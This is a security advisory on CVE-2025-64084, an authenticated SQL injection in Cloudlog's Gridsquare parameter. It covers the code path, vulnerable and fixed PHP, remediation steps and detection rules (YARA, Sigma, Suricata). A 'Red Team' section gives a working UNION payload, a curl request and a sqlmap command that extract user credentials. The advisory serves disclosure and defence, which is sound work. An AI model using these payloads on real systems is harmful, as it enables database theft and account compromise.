CVE-2025-64084

Executive Summary

CVE-2025-64084 is an authenticated SQL injection vulnerability in Cloudlog, an open-source amateur radio logging application. The flaw resides in the vucc_details_ajax function within application/controllers/Awards.php. An authenticated attacker can inject arbitrary SQL commands via the Gridsquare POST parameter, which is unsanitized and concatenated directly into a raw SQL query in the vucc_qso_details function. This allows for data exfiltration, modification, or potential privilege escalation within the application. The vulnerability affects Cloudlog version 2.7.5 and earlier. No official patch has been released at the time of this report.

Supply Chain & Package Security

Cloudlog is a PHP-based web application. The vulnerability is not in a package manager dependency (NPM, PyPI, Go, Ruby) but in the core application code. Users should monitor the official Cloudlog repository for patches and consider manual code fixes as described in this report.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows a low-privileged authenticated user to execute arbitrary SQL commands, potentially leading to full database compromise, data theft, and application takeover.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the vucc_details_ajax function. The application receives a POST request with a Gridsquare parameter. This parameter is passed to the vucc_qso_details function without any sanitization or parameterized query. The function constructs a raw SQL query by concatenating the user input directly into the SQL string.

Vulnerable Code Path:

1. User sends a POST request to /index.php/awards/vucc_details_ajax with Gridsquare=<malicious_payload>.
2. The vucc_details_ajax function in application/controllers/Awards.php retrieves the Gridsquare parameter.
3. This parameter is passed to vucc_qso_details in the same file.
4. vucc_qso_details builds a SQL query like: SELECT * FROM qsos WHERE gridsquare = '$gridsquare' (example).
5. The unsanitized input is concatenated, allowing injection.

Example Injection: Gridsquare=AA00AA' UNION SELECT username,password FROM users--

This would return user credentials in the query results.

Vulnerable vs. Patched Code

Vulnerable Code (Cloudlog 2.7.5):

// application/controllers/Awards.php
public function vucc_details_ajax() {
    $gridsquare = $this->input->post('Gridsquare');
    $data = $this->vucc_qso_details($gridsquare);
    // ...
}

private function vucc_qso_details($gridsquare) {
    $sql = "SELECT * FROM qsos WHERE gridsquare = '$gridsquare'";
    $query = $this->db->query($sql);
    return $query->result();
}

Patched Code (Recommended Fix):

// application/controllers/Awards.php
public function vucc_details_ajax() {
    $gridsquare = $this->input->post('Gridsquare');
    // Sanitize input: allow only alphanumeric and slash characters
    $gridsquare = preg_replace('/[^a-zA-Z0-9\/]/', '', $gridsquare);
    $data = $this->vucc_qso_details($gridsquare);
    // ...
}

private function vucc_qso_details($gridsquare) {
    // Use parameterized query
    $sql = "SELECT * FROM qsos WHERE gridsquare = ?";
    $query = $this->db->query($sql, array($gridsquare));
    return $query->result();
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Cloudlog 2.7.5 or earlier installed.
• Valid user credentials (low-privileged account).

Exploit Steps:

1. Authenticate to Cloudlog and obtain a session cookie.
2. Send a crafted POST request to the vulnerable endpoint.

Example using cURL:

curl -X POST \
  -b "ci_session=<session_cookie>" \
  -d "Gridsquare=AA00AA' UNION SELECT username,password FROM users--" \
  "http://target/index.php/awards/vucc_details_ajax"

Expected Output: The response will include the results of the injected query, revealing usernames and password hashes.

Advanced Exploitation:

• Use sqlmap for automated exploitation:

sqlmap -u "http://target/index.php/awards/vucc_details_ajax" \
  --data="Gridsquare=AA00AA" \
  --cookie="ci_session=<session_cookie>" \
  --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /index.php/awards/vucc_details_ajax with unusual Gridsquare parameters.
• Look for SQL keywords (UNION, SELECT, DROP, etc.) in the Gridsquare parameter.
• Use WAF rules to block SQL injection patterns.

Honeypot:

• Deploy a fake Cloudlog instance and log all Gridsquare POST parameters for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php/awards/vucc_details_ajax with Gridsquare containing SQL syntax.
  • Outbound database connections from the web server to unexpected IPs.
• File IOCs:
  • Modified application/controllers/Awards.php with suspicious code.
  • New files in /tmp/ or web root (e.g., webshells).
• Log IOCs:
  • Database error logs showing SQL syntax errors.
  • Web server access logs with Gridsquare containing ' or --.

Detection Engineering

YARA Rule

rule CVE_2025_64084_Cloudlog_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Cloudlog vucc_details_ajax"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64084"
    strings:
        $sqli_pattern = /Gridsquare=.*['\"]\s*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|OR\s+1=1)/i
        $endpoint = "/index.php/awards/vucc_details_ajax"
    condition:
        $endpoint and $sqli_pattern
}

Sigma Rule

title: Cloudlog SQL Injection via Gridsquare Parameter
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects SQL injection attempts against Cloudlog vucc_details_ajax endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php/awards/vucc_details_ajax'
        cs-uri-query|contains: 'Gridsquare='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'DROP'
        - '1=1'
        - "' OR '"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in Gridsquare (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64084 Cloudlog SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php/awards/vucc_details_ajax"; http_uri;
    content:"Gridsquare="; http_client_body;
    pcre:"/Gridsquare=[^&]*['\"]\s*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|OR\s+1=1)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-64084;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not needed: Block POST requests to /index.php/awards/vucc_details_ajax via web server configuration.
2. Apply input validation: Use a whitelist of allowed characters (e.g., alphanumeric and slash) for the Gridsquare parameter.
3. Use parameterized queries: Replace raw SQL concatenation with prepared statements in vucc_qso_details.

Long-term Fix:

• Upgrade to a patched version of Cloudlog once available.
• Conduct a full code audit for similar SQL injection patterns.

Workaround:

• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the Gridsquare parameter.

Valters IT
Securing Digital Frontiers